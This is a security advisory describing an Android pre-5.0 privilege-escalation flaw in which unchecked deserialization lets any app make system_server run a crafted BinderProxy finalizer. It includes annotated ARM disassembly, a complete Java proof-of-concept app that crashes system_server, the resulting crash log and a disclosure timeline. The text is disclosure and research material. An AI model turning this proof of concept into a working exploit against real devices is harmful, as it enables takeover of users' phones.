Android <5.0 Privilege Escalation

Credit: Jann Horn
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264

In Android <5.0, did not check whether the Object that is being deserialized is actually serializable. That issue was fixed in Android 5.0 with this commit: <> This means that when ObjectInputStream is used on untrusted inputs, an attacker can cause an instance of any class with a non-private parameterless constructor to be created. All fields of that instance can be set to arbitrary values. The malicious object will then typically either be ignored or cast to a type to which it doesn't fit, implying that no methods will be called on it and no data from it will be used. However, when it is collected by the GC, the GC will call the object's finalize method. The android system_service runs under uid 1000 and can change into the context of any app, install new applications with arbitrary permissions and so on. Apps can talk to it using Intents with attached Bundles, Bundles are transferred as arraymap Parcels and arraymap Parcels can contain serialized data. This means that any app can attack the system_service this way. The class android.os.BinderProxy contains a finalize method that calls into native code. This native code will then use the values of two fields of type int/long (depends on the Android version), cast them to pointers and follow them. On Android 4.4.3, this is where one of those pointers ends up. r0 contains the attacker-supplied pointer, and if the attacker can insert data into the process at a known address, he ends up gaining arbitrary code execution in system_server: # attacker controls pointer in r0 0000d1c0 <android::RefBase::decStrong(void const*) const>: d1c0: b570 push {r4, r5, r6, lr} d1c2: 4605 mov r5, r0 d1c4: 6844 ldr r4, [r0, #4] # attacker controls r4 d1c6: 460e mov r6, r1 d1c8: 4620 mov r0, r4 d1ca: f7fd e922 blx a410 <android_atomic_dec@plt> d1ce: 2801 cmp r0, #1 d1d0: d10b bne.n d1ea <android::RefBase::decStrong(void const*) const+0x2a> d1d2: 68a0 ldr r0, [r4, #8] # attacker controls r0 d1d4: 4631 mov r1, r6 d1d6: 6803 ldr r3, [r0, #0] # attacker controls r3 d1d8: 68da ldr r2, [r3, #12] # attacker controls r2 d1da: 4790 blx r2 # jump into attacker-controlled r2 pointer Android does have ASLR, but like all apps, system_server is forked from the zygote process - in other words, all apps have the same basic memory layout as system_server and should therefore be able to circumvent system_server's ASLR. Here's my crash PoC code. Put it in an android app, install that app, open it. If nothing happens, the GC might be taking its time - try doing other stuff or reopening the PoC app or so. Your device should do something like a reboot after a few seconds. =============================================================================== package net.thejh.badserial; import; import; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import dalvik.system.DexClassLoader; import; import android.content.Context; import android.os.Bundle; import android.os.IBinder; import android.os.Parcel; import android.os.UserHandle; import android.os.UserManager; import android.util.Log; public class MainActivity extends Activity { private static final java.lang.String DESCRIPTOR = "android.os.IUserManager"; private Class clStub; private Class clProxy; private int TRANSACTION_setApplicationRestrictions; private IBinder mRemote; public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int userHandle) throws android.os.RemoteException { android.os.Parcel _data = android.os.Parcel.obtain(); android.os.Parcel _reply = android.os.Parcel.obtain(); try { _data.writeInterfaceToken(DESCRIPTOR); _data.writeString(packageName); _data.writeInt(1); restrictions.writeToParcel(_data, 0); _data.writeInt(userHandle); byte[] data = _data.marshall(); for (int i=0; true; i++) { if (data[i] == 'A' && data[i+1] == 'A' && data[i+2] == 'd' && data[i+3] == 'r') { data[i] = 'a'; data[i+1] = 'n'; break; } } _data.recycle(); _data = Parcel.obtain(); _data.unmarshall(data, 0, data.length); mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0); _reply.readException(); } finally { _reply.recycle(); _data.recycle(); } } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Log.i("badserial", "starting... (v3)"); Context ctx = getBaseContext(); try { Bundle b = new Bundle(); AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy(); b.putSerializable("eatthis", evilProxy); Class clIUserManager = Class.forName("android.os.IUserManager"); Class[] umSubclasses = clIUserManager.getDeclaredClasses(); System.out.println(umSubclasses.length+" inner classes found"); Class clStub = null; for (Class c: umSubclasses) { System.out.println("inner class: "+c.getCanonicalName()); if (c.getCanonicalName().equals("android.os.IUserManager.Stub")) { clStub = c; } } Field fTRANSACTION_setApplicationRestrictions = clStub.getDeclaredField("TRANSACTION_setApplicationRestrictions"); fTRANSACTION_setApplicationRestrictions.setAccessible(true); TRANSACTION_setApplicationRestrictions = fTRANSACTION_setApplicationRestrictions.getInt(null); UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE); Field fService = UserManager.class.getDeclaredField("mService"); fService.setAccessible(true); Object proxy = fService.get(um); Class[] stSubclasses = clStub.getDeclaredClasses(); System.out.println(stSubclasses.length+" inner classes found"); clProxy = null; for (Class c: stSubclasses) { System.out.println("inner class: "+c.getCanonicalName()); if (c.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) { clProxy = c; } } Field fRemote = clProxy.getDeclaredField("mRemote"); fRemote.setAccessible(true); mRemote = (IBinder) fRemote.get(proxy); UserHandle me = android.os.Process.myUserHandle(); setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode()); Log.i("badserial", "waiting for boom here and over in the system service..."); } catch (Exception e) { throw new RuntimeException(e); } } } =============================================================================== package AAdroid.os; import; public class BinderProxy implements Serializable { private static final long serialVersionUID = 0; public long mObject = 0x1337beef; public long mOrgue = 0x1337beef; } =============================================================================== This is what you should see in the system log: F/libc ( 382): Fatal signal 11 (SIGSEGV) at 0x1337bef3 (code=1), thread 391 (FinalizerDaemon) [...] I/DEBUG ( 47): pid: 382, tid: 391, name: FinalizerDaemon >>> system_server <<< I/DEBUG ( 47): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef3 I/DEBUG ( 47): r0 1337beef r1 b6de7431 r2 b6ee035c r3 81574845 I/DEBUG ( 47): r4 b6de7431 r5 1337beef r6 b7079ec8 r7 1337beef I/DEBUG ( 47): r8 1337beef r9 abaf5f68 sl b7056678 fp a928bb04 I/DEBUG ( 47): ip b6e1e8c8 sp a928bac8 lr b6de63d9 pc b6e6c15e cpsr 60000030 Timeline: 22.06.2014 - 26.06.2014 issue reported, PoC shared, issue verified by around 03.11.2014 patch published as part of the AOSP code release 07.11.2014 - 19.11.2014 asked Android team whether disclosing this is OK now, got CVE number from them


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